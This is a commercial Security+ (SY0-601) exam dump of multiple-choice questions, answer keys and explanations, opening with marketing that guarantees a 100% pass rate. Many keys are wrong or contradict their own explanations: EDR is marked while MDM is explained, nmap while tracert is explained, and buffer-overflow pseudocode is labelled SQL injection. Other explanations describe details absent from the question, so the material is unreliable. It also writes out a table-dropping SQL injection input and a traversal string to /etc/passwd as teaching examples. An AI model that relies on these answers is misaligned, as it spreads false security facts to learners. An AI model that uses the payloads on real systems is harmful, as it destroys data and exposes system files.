CompTIA

Exam Questions SY0-601

CompTIA Security+ Exam

About Exambible

Your Partner of IT Exam

Found in 1998

Exambible is a company specialized on providing high quality IT exam practice study materials, especially Cisco CCNA, CCDA, CCNP, CCIE, Checkpoint CCSE, CompTIA A+, Network+ certification practice exams and so on. We guarantee that the candidates will not only pass any IT exam at the first attempt but also get profound understanding about the certificates they have got. There are so many alike companies in this industry, however, Exambible has its unique advantages that other companies could not achieve.

Our Advances

* 99.9% Uptime

All examinations will be up to date.

* 24/7 Quality Support

We will provide service round the clock.

* 100% Pass Rate

Our guarantee that you will pass the exam.

* Unique Gurantee

If you do not pass the exam at the first time, we will not only arrange FULL REFUND for you, but also provide you another exam of your claim, ABSOLUTELY FREE!

NEW QUESTION 1
- (Exam Topic 3)
A technician is setting up a new firewall on a network segment to allow web traffic to the internet while hardening the network. After the firewall is configured, users receive errors stating the website could not be located. Which of the following would best correct the issue?

A. Setting an explicit deny to all traffic using port 80 instead of 443
B. Moving the implicit deny from the bottom of the rule set to the top
C. Configuring the first line in the rule set to allow all traffic
D. Ensuring that port 53 has been explicitly allowed in the rule set

Answer: D

Explanation:
Port 53 is the default port for DNS traffic. If the firewall is blocking port 53, then users will not be able to resolve domain names and will receive errors stating that the website could not be located.
The other options would not correct the issue. Setting an explicit deny to all traffic using port 80 instead of 443 would block all HTTP traffic, not just web traffic. Moving the implicit deny from the bottom of the rule set to the top would make the deny rule more restrictive, which would not solve the issue. Configuring the first line in the rule set to allow all traffic would allow all traffic, including malicious traffic, which is not a good security practice.
Therefore, the best way to correct the issue is to ensure that port 53 has been explicitly allowed in the rule set. Here are some additional information about DNS traffic:

- DNS traffic is used to resolve domain names to IP addresses.
- DNS traffic is typically unencrypted, which makes it vulnerable to eavesdropping.
- There are a number of ways to secure DNS traffic, such as using DNS over HTTPS (DoH) or DNS over TLS (DoT).

NEW QUESTION 2
- (Exam Topic 3)
An annual information security has revealed that several OS-level configurations are not in compliance due to Outdated hardening standards the company is using Which Of the following would be best to use to update and reconfigure the OS.level security configurations?

A. CIS benchmarks
B. GDPR guidance
C. Regional regulations
D. ISO 27001 standards

Answer: A

Explanation:
CIS benchmarks are best practices and standards for securing various operating systems, applications, cloud environments, etc. They are developed by a community of experts and updated regularly to reflect the latest threats and vulnerabilities. They can be used to update and reconfigure the OS-level security configurations to ensure compliance and reduce risks

NEW QUESTION 3
- (Exam Topic 3)
A security analyst notices an unusual amount of traffic hitting the edge of the network. Upon examining the logs, the analyst identifies a source IP address and blocks that address from communicating with the network. Even though the analyst is blocking this address, the attack is still ongoing and coming from a large number of different source IP addresses. Which of the following describes this type of attack?

A. DDoS
B. Privilege escalation
C. DNS poisoning
D. Buffer overflow

Answer: A

Explanation:
A distributed denial-of-service (DDoS) attack is an attempt to make a computer or network resource unavailable to its intended users. This is accomplished by overwhelming the target with a flood of traffic from multiple sources.
In the scenario described, the security analyst identified a source IP address and blocked it from communicating with the network. However, the attack was still ongoing and coming from a large number of different source IP addresses. This indicates that the attack was a DDoS attack.
Privilege escalation is an attack that allows an attacker to gain unauthorized access to a system or network. DNS poisoning is an attack that modifies the DNS records for a domain name, causing users to be redirected to a malicious website. A buffer overflow is an attack that occurs when a program attempts to store more data in a buffer than it is designed to hold.
Therefore, the most likely type of attack in the scenario described is a DDoS attack.

NEW QUESTION 4
- (Exam Topic 3)
A local server recently crashed, and the team is attempting to restore the server from a backup. During the restore process, the team notices the file size of each daily backup is large and will run out of space at the current rate.
The current solution appears to do a full backup every night. Which of the following would use the least amount of storage space for backups?

A. A weekly, incremental backup with daily differential backups
B. A weekly, full backup with daily snapshot backups
C. A weekly, full backup with daily differential backups
D. A weekly, full backup with daily incremental backups

Answer: D

Explanation:
A weekly, full backup with daily incremental backups would use the least amount of storage space for backups, as it would only store the changes made since the last backup, whether it is a full or incremental backup. Incremental backups are faster and use less storage space than full or differential backups, but they require more time and media to restore data. A full backup is a complete copy of all data, which requires more time and storage space to perform, but allows a faster and easier recovery. A differential backup is a copy of the data that changed since the last full backup, which requires less time and storage space than a full backup, but more than an incremental backup. A differential backup allows a faster recovery than an incremental backup, but slower than a full backup. References:
https://www.nakivo.com/blog/backup-types-explained/

NEW QUESTION 5
- (Exam Topic 3)
A security analyst is investigating what appears to be unauthorized access to a corporate web application. The security analyst reviews the web server logs and finds the following entries:

```
106.35.45.53 - - [22/May/2020:07:00:58 +0100] "GET /login?username=admin&pin=0000 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
106.35.45.53 - - [22/May/2020:07:01:21 +0100] "GET /login?username=admin&pin=0001 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
106.35.45.53 - - [22/May/2020:07:01:52 +0100] "GET /login?username=admin&pin=0002 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
106.35.45.53 - - [22/May/2020:07:02:18 +0100] "GET /login?username=admin&pin=0003 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
106.35.45.53 - - [22/May/2020:07:02:18 +0100] "GET /login?username=admin&pin=0004 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
```

Which of the following password attacks is taking place?

A. Dictionary
B. Brute-force
C. Rainbow table
D. Spraying

Answer: D

Explanation:
Spraying is a password attack that involves trying a few common passwords against a large number of usernames. Spraying is different from brute-force attacks, which try many possible passwords against one username, or dictionary attacks, which try a list of words from a dictionary file against one username. Spraying is often used when the web application has a lockout policy that prevents multiple failed login attempts for the same username. Spraying can be detected by looking for patterns of failed login attempts from the same source IP address with different usernames and the same or similar passwords.

NEW QUESTION 6
- (Exam Topic 3)
While troubleshooting a firewall configuration, a technician determines that a "deny any" policy should be added to the bottom of the ACL. The technician updates the policy, but the new policy causes several company servers to become unreachable. Which of the following actions would prevent this issue?

A. Documenting the new policy in a change request and submitting the request to change management
B. Testing the policy in a non-production environment before enabling the policy in the production network
C. Disabling any intrusion prevention signatures on the "deny any" policy prior to enabling the new policy
D. Including an "allow any" policy above the "deny any" policy

Answer: B

Explanation:
Testing the policy in a non-production environment before enabling the policy in the production network would prevent the issue of making several company servers unreachable. A non-production environment is a replica of the production network that is used for testing, development, or training purposes. By testing the policy in a non-production environment, the technician can verify the functionality and impact of the policy without affecting the real network or users. This can help to identify and resolve any errors or conflicts before applying the policy to the production network. Testing the policy in a non-production environment can also help to ensure compliance with security standards and best practices.

NEW QUESTION 7
- (Exam Topic 3)
A company recently experienced a significant data loss when proprietary information was leaked to a competitor. The company took special precautions by using proper labels; however, email filter logs do not have any record of the incident. An investigation confirmed the corporate network was not breached, but documents were downloaded from an employee's COPE tablet and passed to the competitor via cloud storage. Which of the following is the best mitigation strategy to prevent this from happening in the future?

A. User training
B. CAsB
C. MDM
D. EDR

Answer: D

Explanation:
MDM stands for mobile device management, which is a solution that allows organizations to manage and secure mobile devices used by employees. MDM can help prevent data loss and leakage by enforcing policies and restrictions on the devices, such as encryption, password, app installation, remote wipe, and so on. MDM can also monitor and audit the device activity and compliance status. MDM can be the best mitigation strategy to prevent data leakage from an employee's COPE tablet via cloud storage, as it can block or limit the access to cloud services, or apply data protection measures such as containerization or encryption. References:
https://www.blackberry.com/us/en/solutions/corporate-owned-personally-enabled

https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/mobile-device-management/

NEW QUESTION 8
- (Exam Topic 3)
A company needs to centralize its logs to create a baseline and have visibility on its security events Which of the following technologies will accomplish this objective?

A. Security information and event management
B. A web application firewall
C. A vulnerability scanner
D. A next-generation firewall

Answer: A

Explanation:
Security information and event management (SIEM) is a solution that collects, analyzes, and correlates logs and events from various sources such as firewalls, servers, applications, etc., within an organization's network. It can centralize logs to create a baseline and have visibility on security events by providing a unified dashboard and reporting system for log management and security monitoring.

NEW QUESTION 9
- (Exam Topic 3)
A company wants the ability to restrict web access and monitor the websites that employees visit, Which Of the following would best meet these requirements?

A. Internet Proxy
B. VPN
C. WAF
D. Firewall

Answer: A

Explanation:
An internet proxy is a server that acts as an intermediary between a client and a destination server on the internet. It can restrict web access and monitor the websites that employees visit by filtering the requests and responses based on predefined rules and policies, and logging the traffic and activities for auditing purposes

NEW QUESTION 10
- (Exam Topic 3)
An organization has expanded its operations by opening a remote office. The new office is fully furnished with office resources to support up to 50 employees working on any given day. Which of the following VPN solutions would best support the new office?

A. Always-on
B. Remote access
C. Site-to-site
D. Full tunnel

Answer: C

Explanation:
Site-to-site VPN is a type of VPN solution that connects two or more networks or sites across the public internet in a secure and encrypted way. Site-to-site VPN can be implemented using VPN appliances, such as firewalls or routers, that can establish and maintain the VPN tunnel between the sites. Site-to-site VPN can support multiple users or devices that need to access resources on the other site without requiring individual VPN clients or software. Site-to-site VPN is the best solution to support the new remote office, as it can provide secure and seamless connectivity between the office network and the main network of the organization.
Verified References:
Virtual Private Networks – SY0-601 CompTIA Security+ : 3.3 https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/virtual-private-networks-sy0-601- (See Site-to-Site VPN)
VPN Technologies – CompTIA Security+ SY0-501 – 3.2 https://www.professormesser.com/security-plus/sy0-501/vpn-technologies/ (See Site-to-Site VPN)
Security+ (Plus) Certification | CompTIA IT Certifications https://www.comptia.org/certifications/security (See Domain 3: Architecture and Design, Objective 3.3: Given a scenario, implement secure network architecture concepts.)

NEW QUESTION 10
- (Exam Topic 3)
A user reports constant lag and performance issues with the wireless network when working at a local coffee shop A security analyst walks the user through an installation of Wireshark and gets a five-minute pcap to analyze. The analyst observes the following output:

No.	Time	Source	Destination	Protocol	Length	Info
1234	9.1195665	Sagemcom_87:9f:a3	Broadcast	802.11	38	Deauthentication, SN=655, FN=0
1235	9.1265649	Sagemcom_87:9f:a3	Broadcast	802.11	39	Deauthentication, SN=655, FN=0
1236	9.2223212	Sagemcom_87:9f:a3	Broadcast	802.11	38	Deauthentication, SN=657, FN=0

Which of the following attacks does the analyst most likely see in this packet capture?

A. Session replay
B. Evil twin
C. Bluejacking

D. ARP poisoning

Answer: B

Explanation:
An evil twin is a type of wireless network attack that involves setting up a rogue access point that mimics a legitimate one. It can trick users into connecting to the rogue access point instead of the real one, and then intercept or modify their traffic, steal their credentials, launch phishing pages, etc. In this packet capture, the analyst can see that there are two access points with the same SSID (CoffeeShop) but different MAC addresses (00:0c:41:82:9c:4f and 00:0c:41:82:9c:4e). This indicates that one of them is an evil twin that is trying to impersonate the other one.

NEW QUESTION 12
- (Exam Topic 3)
Which of the following automation use cases would best enhance the security posture Of an organi-zation by rapidly updating permissions when employees leave a company Or change job roles inter-nally?

A. Provisioning resources
B. Disabling access
C. APIs
D. Escalating permission requests

Answer: B

Explanation:
Disabling access is an automation use case that can enhance the security posture of an organization by rapidly updating permissions when employees leave a company or change job roles internally. It can prevent unauthorized access and data leakage by revoking or modifying the access rights of employees based on their current status and role.

NEW QUESTION 16
- (Exam Topic 3)
A company's help desk has received calls about the wireless network being down and users being unable to connect to it The network administrator says all access points are up and running One of the help desk technicians notices the affected users are working in a building near the parking lot. Which of the following is the most likely reason for the outage?

A. Someone near the building is jamming the signal
B. A user has set up a rogue access point near the building
C. Someone set up an evil twin access point in the affected area.
D. The APs in the affected area have been unplugged from the network

Answer: A

Explanation:
Jamming is a type of denial-of-service attack that involves interfering with or blocking the wireless signal using a device that emits radio waves at the same frequency as the wireless network. It can cause the wireless network to be down and users to be unable to connect to it, especially if they are working in a building near the parking lot where someone could easily place a jamming device.

NEW QUESTION 18
- (Exam Topic 3)
A report delivered to the Chief Information Security Officer (CISO) shows that some user credentials could be exfiltrated. The report also indicates that users tend to choose the same credentials on different systems and applications. Which of the following policies should the CISO use to prevent someone from using the exfiltrated credentials?

A. MFA
B. Lockout
C. Time-based logins
D. Password history

Answer: A

Explanation:
MFA stands for multi-factor authentication, which is a method of verifying a user’s identity using two or more factors, such as something you know (e.g., password), something you have (e.g., token), or something you are (e.g., biometrics). MFA can prevent someone from using the exfiltrated credentials, as they would need to provide another factor besides the username and password to access the system or application. MFA can also alert the legitimate user of an unauthorized login attempt, allowing them to change their credentials or report the incident. References:

- https://www.comptia.org/certifications/security
- https://www.youtube.com/watch?v=yCJyPPvM-xg
- https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/multi-factor-authentication-5/

NEW QUESTION 23
- (Exam Topic 3)
Which of the following can best protect against an employee inadvertently installing malware on a company system?

A. Host-based firewall
B. System isolation
C. Least privilege
D. Application allow list

Answer: C

Explanation:
Least privilege is a security principle that states that users should only be granted the permissions they need to do their job. This helps to protect against malware infections by preventing users from installing unauthorized software.
A host-based firewall can help to protect against malware infections by blocking malicious traffic from reaching a computer. However, it cannot prevent a user from installing malware if they have the necessary permissions.
System isolation is the practice of isolating systems from each other to prevent malware from spreading. This can be done by using virtual machines or network segmentation. However, system isolation can be complex and expensive to implement.
An application allow list is a list of applications that are allowed to run on a computer. This can help to prevent malware infections by preventing users from running unauthorized applications. However, an application allow list can be difficult to maintain and can block legitimate applications.
Therefore, the best way to protect against an employee inadvertently installing malware on a company system is to use the principle of least privilege. This will help to ensure that users only have the permissions they need to do their job, which will reduce the risk of malware infections.
Here are some additional benefits of least privilege:

- It can help to improve security by reducing the attack surface.
- It can help to simplify security management by reducing the number of permissions that need to be managed.
- It can help to improve compliance by reducing the risk of data breaches.

NEW QUESTION 26
- (Exam Topic 3)
A manufacturing company has several one-off legacy information systems that cannot be migrated to a newer OS due to software compatibility issues. The OSs are still supported by the vendor but the industrial software is no longer supported The Chief Information Security Officer has created a resiliency plan for these systems that will allow OS patches to be installed in a non-production environment, white also creating backups of the systems for recovery. Which of the following resiliency techniques will provide these capabilities?

A. Redundancy
B. RAID 1+5
C. Virtual machines
D. Full backups

Answer: D

Explanation:
Virtual machines are software-based simulations of physical computers that run on a host system and share its resources. They can provide resiliency for legacy information systems that cannot be migrated to a newer OS due to software compatibility issues by allowing OS patches to be installed in a non-production environment without affecting the production environment. They can also create backups of the systems for recovery by taking snapshots or copies of the virtual machine files.

NEW QUESTION 29
- (Exam Topic 2)
A security team discovered a large number of company-issued devices with non-work-related software installed. Which of the following policies would most likely contain language that would prohibit this activity?

A. NDA
B. BPA
C. AUP
D. SLA

Answer: C

Explanation:
AUP stands for acceptable use policy, which is a document that defines the rules and guidelines for using an organization’s network, systems, devices, and resources. An AUP typically covers topics such as authorized and unauthorized activities, security requirements, data protection, user responsibilities, and consequences for violations. An AUP can help prevent non-work-related software installation on company-issued devices by clearly stating what types of software are allowed or prohibited, and what actions will be taken if users do not comply with the policy.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.techopedia.com/definition/2471/acceptable-use-policy-aup

NEW QUESTION 31
- (Exam Topic 2)
An account was disabled atter several failed and successful login connections were made from various parts of the Word at various times. A security analysts investigating the issue. Which of the following account policies most likely triggered the action to disable the

A. Time based logins
B. Password history
C. Geofencing
D. Impossible travel time

Answer: D

Explanation:
Impossible travel time is a policy that detects and blocks login attempts from locations that are geographically impossible to reach from the previous login location within a certain time frame. For example, if a user logs in from New York and then tries to log in from Tokyo within an hour, the policy would flag this as impossible travel time and disable the account. This policy helps prevent unauthorized access from compromised credentials or attackers using proxy servers. References: 1 CompTIA Security+ Certification Exam Objectives
page 6, Domain 1.0: Attacks, Threats, and Vulnerabilities, Objective 1.2: Compare and contrast different types of social engineering techniques 2 CompTIA Security+ Certification Exam Objectives, page 14, Domain 3.0:
Implementation, Objective 3.4: Implement identity and account management controls 3
https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-sign-in-risk-policy#impossi

NEW QUESTION 32
- (Exam Topic 2)
A systems integrator is installing a new access control system for a building. The new system will need to connect to the Company's AD server In order to validate current employees. Which of the following should the systems integrator configure to be the most secure?

A. HTTPS
B. SSH
C. SFTP
D. LDAPS

Answer: D

Explanation:
LDAPS (Lightweight Directory Access Protocol Secure) is the most secure protocol to use for connecting to an Active Directory server, as it encrypts the communication between the client and the server using SSL/TLS. This prevents eavesdropping, tampering, or spoofing of the authentication and authorization data.
References: 1
CompTIA Security+ Certification Exam Objectives, page 13, Domain 3.0: Implementation,
Objective 3.2: Implement secure protocols 2
CompTIA Security+ Certification Exam Objectives, page 15,
Domain 3.0: Implementation, Objective 3.5: Implement secure authentication mechanisms 3
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc731

NEW QUESTION 34
- (Exam Topic 2)
Users report access to an application from an internal workstation is still unavailable to a specific server, even after a recent firewall rule implementation that was requested for this access. ICMP traffic is successful between the two devices. Which of the following tools should the security analyst use to help identify if the traffic is being blocked?

A. nmap
B. tracert
C. ping
D. ssh

Answer: A

Explanation:
Tracert is a command-line tool that shows the route that packets take to reach a destination on a network1. It also displays the time it takes for each hop along the way1. By using tracert, you can see if there is a router or firewall that is blocking or slowing down the traffic between the internal workstation and the specific server1.

NEW QUESTION 36
- (Exam Topic 2)
A security operations technician is searching the log named /vax/messages for any events that were associated with a workstation with the IP address 10.1.1.1. Which of the following would provide this information?

A. cat /var/messages | grep 10.1.1.1
B. grep 10.1.1.1 | cat /var/messages
C. grep /var/messages | cat 10.1.1.1
D. cat 10.1.1.1 | grep /var/messages

Answer: A

Explanation:
the cat command reads the file and streams its content to standard output. The | symbol connects the output of the left command with the input of the right command. The grep command returns all lines that match the regex. The cut command splits each line into fields based on a delimiter and extracts a specific field.

NEW QUESTION 37
- (Exam Topic 2)
A company is concerned about individuals driving a car into the building to gain access. Which of the following security controls would work BEST to prevent this from happening?

A. Bollard
B. Camera
C. Alarms
D. Signage
E. Access control vestibule

Answer: A

Explanation:
Bollards are posts designed to prevent vehicles from entering an area. They are usually made of steel or concrete and are placed close together to make it difficult for vehicles to pass through. In addition to preventing vehicles from entering an area, bollards can also be used to protect buildings and pedestrians from ramming attacks. They are an effective and cost-efficient way to protect buildings and pedestrians from unauthorized access.

NEW QUESTION 38
- (Exam Topic 2)
A security administrator is compiling information from all devices on the local network in order to gain better visibility into user activities. Which of the following is the best solution to meet

this objective?

A. SIEM
B. HIDS
C. CASB
D. EDR

Answer: A

Explanation:
SIEM stands for Security Information and Event Management, which is a solution that can collect, correlate, and analyze security logs and events from various devices on a network. SIEM can provide better visibility into user activities by generating reports, alerts, dashboards, and metrics. SIEM can also help detect and respond to security incidents, comply with regulations, and improve security posture.

NEW QUESTION 41
- (Exam Topic 2)
A security analyst is investigating a report from a penetration test. During the penetration test, consultants were able to download sensitive data from a back-end server. The back-end server was exposing an API that should have only been available from the company's mobile application. After reviewing the back-end server logs, the security analyst finds the following entries:

```
10.35.45.53 - - [22/May/2020:06:57:31 +0100] "GET /api/cliend_id=1 HTTP/1.1" 403 1705 "http://www.example.com/api/" "PostmanRuntime/7.26.5"
10.35.45.53 - - [22/May/2020:07:00:58 +0100] "GET /api/cliend_id=2 HTTP/1.1" 403 1705 "http://www.example.com/api/" "PostmanRuntime/7.22.0"
10.32.40.13 - - [22/May/2020:08:08:52 +0100] "GET /api/cliend_id=1 HTTP/1.1" 302 21703 "http://www.example.com/api/" "CompanyMobileApp/1.1.1"
10.32.40.25 - - [22/May/2020:08:13:52 +0100] "GET /api/cliend_id=1 HTTP/1.1" 200 21703 "http://www.example.com/api/" "CompanyMobileApp/2.3.1"
10.35.45.53 - - [22/May/2020:08:20:18 +0100] "GET /api/cliend_id=2 HTTP/1.1" 200 22405 "http://www.example.com/api/" "CompanyMobileApp/2.3.0"
```

Which of the following is the most likely cause of the security control bypass?

A. IP address allow list
B. User-agent spoofing
C. WAF bypass
D. Referrer manipulation

Answer: B

Explanation:
User-agent spoofing is a technique that involves changing the user-agent string of a web browser or other client to impersonate another browser or device. The user-agent string is a piece of information that identifies the client to the web server and can contain details such as the browser name, version, operating system, and device type. User-agent spoofing can be used to bypass security controls that rely on the user-agent string to determine the legitimacy of a request. In this scenario, the consultants were able to spoof the user-agent string of the company's mobile application and access the API that should have been restricted to it.

NEW QUESTION 44
- (Exam Topic 2)
A large bank with two geographically dispersed data centers Is concerned about major power disruptions at Both locations. Every day each location experiences very brief outages thai last (or a few seconds. However, during the summer a high risk of intentional under-voltage events that could last up to an hour exists, particularly at one of the locations near an industrial smelter. Which of the following is the BEST solution to reduce the risk of data loss?

A. Dual supply
B. Generator
C. PDU
D. Dally backups

Answer: B

Explanation:
A generator will provide uninterrupted power to the data centers, ensuring that they are not affected by any power disruptions, intentional or otherwise. This is more reliable than a dual supply or a PDU, and more effective than daily backups, which would not be able to protect against an outage lasting an hour.

NEW QUESTION 48
- (Exam Topic 2)
A security manager is attempting to meet multiple security objectives in the next fiscal year. The security manager has proposed the purchase of the following four items:
Vendor A:
1- Firewall
1-12 switch
Vendor B:
1- Firewall
1-12 switch
Which of the following security objectives is the security manager attempting to meet? (Select two).

A. Simplified patch management
B. Scalability
C. Zero-day attack tolerance
D. Multipath
E. Replication
F. Redundancy

Answer: EF

Explanation:
* F. Redundancy is a security objective that aims to ensure availability and resilience of systems and data by having backup or alternative components or resources that can take over in case of a failure. By purchasing two firewalls and two switches from different vendors, the security manager is creating redundancy for the network devices and reducing the single point of failure risk. E. Replication is a security objective that aims to ensure integrity and availability of data by creating copies or duplicates of the data across different locations or devices. By purchasing two firewalls and two switches from different vendors, the security manager is enabling replication of the network traffic and data across different paths and devices. References: 1
CompTIA Security+ Certification Exam Objectives, page 9, Domain 2.0: Architecture and Design, Objective 2.3:
Summarize secure application development, deployment, and automation concepts 2
CompTIA Security+ Certification Exam Objectives, page 11, Domain 2.0: Architecture and Design, Objective 2.5: Explain the importance of physical security controls 3
CompTIA Security+ Certification Exam Objectives, page 13,
Domain 3.0: Implementation, Objective 3.2: Implement secure protocols

NEW QUESTION 49
- (Exam Topic 2)
Several users have been violating corporate security policy by accessing inappropriate Sites on
corporate-issued mobile devices while off campus. The senior leadership team wants all mobile devices to be hardened with controls that:

- Limit the sites that can be accessed
- Only allow access to internal resources while physically on campus.
- Restrict employees from downloading images from company email

Whip of the following controls would best address this situation? (Select two).

A. MFA
B. GPS tagging
C. Biometric authentication
D. Content management
E. Geofencing
F. Screen lock and PIN requirements

Answer: DE

Explanation:
Content management is a security control that can limit the sites that can be accessed by corporate-issued mobile devices. It can also restrict employees from downloading images from company email by filtering or blocking certain types of content1. Geofencing is a security control that can only allow access to internal resources while physically on campus. It can use GPS or other location services to define a virtual boundary around a physical area and enforce policies based on the device's location2.
References:
1:
https://www.cyber.gov.au/resources-business-and-government/maintaining-devices-and-systems/system-hardeni
2: https://www.makeuseof.com/how-to-secure-your-content-management-system/

NEW QUESTION 54
- (Exam Topic 2)
An attacker is using a method to hide data inside of benign files in order to exfiltrate confidential data. Which of the following is the attacker most likely using?

A. Base64 encoding
B. Steganography
C. Data encryption
D. Perfect forward secrecy

Answer: B

Explanation:
Steganography is a technique for hiding data inside of benign files such as images, audio, or video. This can be used to exfiltrate confidential data without raising suspicion or detection.
References: How to Hide Files Inside Files [Images, Folder] - Raymond.CC Blog; How to Hide Data in a Secret Text File Compartment - How-To Geek; How to Hide Data Within an Image - Medium

NEW QUESTION 58
- (Exam Topic 2)
A security administrator is managing administrative access to sensitive systems with the following requirements:
• Common login accounts must not be used for administrative duties.
• Administrative accounts must be temporal in nature.
• Each administrative account must be assigned to one specific user.
• Accounts must have complex passwords.
" Audit trails and logging must be enabled on all systems.
Which of the following solutions should the administrator deploy to meet these requirements? (Give explanation and References from CompTIA Security+ SY0-601 Official Text Book and Resources)

A. ABAC
B. SAML
C. PAM
D. CASB

Answer: C

Explanation:
PAM is a solution that enables organizations to securely manage users' accounts and access to sensitive systems. It allows administrators to create unique and complex passwords for each user, as well as assign each account to a single user for administrative duties. PAM also provides audit trails and logging capabilities,

allowing administrators to monitor user activity and ensure that all systems are secure. According to the CompTIA Security+ SY0-601 Course Book, “PAM is the most comprehensive way to control and monitor privileged accounts”.

NEW QUESTION 63
- (Exam Topic 2)
A new security engineer has started hardening systems. One o(the hardening techniques the engineer is using involves disabling remote logins to the NAS. Users are now reporting the inability lo use SCP to transfer files to the NAS, even though the data is still viewable from the users' PCs. Which of the following is the MOST likely cause of this issue?

A. TFTP was disabled on the local hosts.
B. SSH was turned off instead of modifying the configuration file.
C. Remote login was disabled in the networkd.conf instead of using the ssh
D. conf.
E. Network services are no longer running on the NAS

Answer: B

Explanation:
SSH is used to securely transfer files to the remote server and is required for SCP to work. Disabling SSH will prevent users from being able to use SCP to transfer files to the server. To enable SSH, the security engineer should modify the SSH configuration file (sshd.conf) and make sure that SSH is enabled. For more information on hardening systems and the security techniques that can be used, refer to the CompTIA Security+ SY0-601 Official Text Book and Resources.

NEW QUESTION 64
- (Exam Topic 2)
A company that provides an online streaming service made its customers' personal data including names and email addresses publicly available in a cloud storage service. As a result, the company experienced an increase m the number of requests to delete user accounts. Which of the following best describes the consequence of tins data disclosure?

A. Regulatory tines
B. Reputation damage
C. Increased insurance costs
D. Financial loss

Answer: B

Explanation:
Reputation damage Short explanation
Reputation damage is the loss of trust or credibility that a company suffers when its customers’ personal data is exposed or breached. This can lead to customer dissatisfaction, loss of loyalty, and requests to delete user accounts. References: https://www.comptia.org/content/guides/what-is-cybersecurity

NEW QUESTION 67
- (Exam Topic 2)
While performing a threat-hunting exercise, a security analyst sees some unusual behavior occurring in an application when a user changes the display name. The security analyst decides to perform a static code analysis and receives the following pseudocode:

```
function change.display.name
set variable $displayname [8]
print "Enter a new display name:"
getstring ($displayname)
goto function exit.display.name.setting
```

Which of the following attack types best describes the root cause of the unusual behavior?

A. Server-side request forgery
B. Improper error handling
C. Buffer overflow
D. SQL injection

Answer: D

Explanation:
SQL injection is one of the most common web hacking techniques. SQL injection is the placement of malicious code in SQL statements, via web page input12. A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system3.
According to the pseudocode given in the question, the application takes a user input for display name and concatenates it with a SQL query to update the user’s profile. This is a vulnerable practice that allows an attacker to inject malicious SQL code into the query and execute it on the database. For example, an attacker could enter something like this as their display name:
John'; DROP TABLE users; -
This would result in the following SQL query being executed:
UPDATE profile SET displayname = 'John'; DROP TABLE users; --' WHERE userid = 1;
The semicolon (;) terminates the original update statement and starts a new one that drops the users table. The double dash (–) comments out the rest of the query. This would cause a catastrophic loss of data for the application.

NEW QUESTION 71
- (Exam Topic 2)
A security analyst reviews web server logs and finds the following string gallerys?file—. ./../../../../. . / . ./etc/passwd
Which of the following attacks was performed against the web server?

A. Directory traversal
B. CSRF
C. Pass the hash
D. SQL injection

Answer: A

Explanation:
Directory traversal is an attack that exploits a vulnerability in a web application or a file system to access files or directories that are outside the intended scope. The attacker can use special characters, such as …/ or …\ , to navigate through the directory structure and access restricted files or directories.

NEW QUESTION 76
- (Exam Topic 2)
A cybersecurity analyst needs to adopt controls to properly track and log user actions to an individual. Which of the following should the analyst implement?

A. Non-repudiation
B. Baseline configurations
C. MFA
D. DLP

Answer: A

Explanation:
Non-repudiation is the process of ensuring that a party involved in a transaction or communication cannot deny their involvement. By implementing non-repudiation controls, a cybersecurity analyst can properly track and log user actions, attributing them to a specific individual. This can be achieved through methods such as digital signatures, timestamps, and secure logging mechanisms.
References:
* 1. CompTIA Security+ Certification Exam Objectives (SY0-601): https://www.comptia.jp/pdf/CompTIA%20Security%2B%20SY0-601%20Exam%20Objectives.pdf
* 2. Stewart, J. M., Chapple, M., & Gibson, D. (2021). CompTIA Security+ Study Guide: Exam SY0-601. John Wiley & Sons.

NEW QUESTION 80
- (Exam Topic 2)
A backup operator wants to perform a backup to enhance the RTO and RPO in a highly time- and
storage-efficient way that has no impact on production systems. Which of the following backup types should the operator use?

A. Tape
B. Full
C. Image
D. Snapshot

Answer: D

Explanation:
A snapshot backup is a type of backup that captures the state of a system at a point in time. It is highly time- and storage-efficient because it only records the changes made to the system since the last backup. It also has no impact on production systems because it does not require them to be offline or paused during the backup process. References: https://www.comptia.org/blog/what-is-a-snapshot-backup

NEW QUESTION 83
- (Exam Topic 2)
A network engineer receives a call regarding multiple LAN-connected devices that are on the same switch. The devices have suddenly been experiencing speed and latency issues while connecting to network resources. The engineer enters the command show mac address-table and reviews the following output

VLAN	MAC	PORT
1	00-04-18-EB-14-30	Fa0/1
1	88-CD-34-19-E8-98	Fa0/2
1	40-11-08-87-10-13	Fa0/3
1	00-04-18-EB-14-30	Fa0/4
1	88-CD-34-00-15-F3	Fa0/5
1	FA-13-02-04-27-64	Fa0/6

Which of the following best describes the attack that is currently in progress?

A. MAC flooding
B. Evil twin
C. ARP poisoning
D. DHCP spoofing

Answer: C

Explanation:
This is an attempt to redirect traffic to an attacking host by sending an ARP packet that contains the forged address of the next hop router. The attacker tricks the victim into believing that it is the legitimate router by sending a spoofed ARP reply with its own MAC address. This causes the victim to send all its traffic to the attacker instead of the router. The attacker can then intercept, modify, or drop the packets as they please.

NEW QUESTION 85
- (Exam Topic 2)
A company has numerous employees who store PHI data locally on devices. The Chief Information Officer wants to implement a solution to reduce external exposure of PHI but not affect the business.

The first step the IT team should perform is to deploy a DLP solution:

A. for only data in transit.
B. for only data at reset.
C. in blocking mode.
D. in monitoring mode.

Answer: D

Explanation:
A DLP solution in monitoring mode is a good first step to deploy for data loss prevention. It allows the IT team to observe and analyze the data flows and activities without blocking or interfering with them. It helps to identify the sources and destinations of sensitive data, the types and volumes of data involved, and the potential risks and violations. It also helps to fine-tune the DLP policies and rules before switching to blocking mode, which can disrupt business operations if not configured properly.

NEW QUESTION 86
- (Exam Topic 2)
Which of the following should a Chief Information Security Officer consider using to take advantage of industry standard guidelines?

A. SSAE SOC 2
B. GDPR
C. PCI DSS
D. NIST CSF

Answer: D

Explanation:
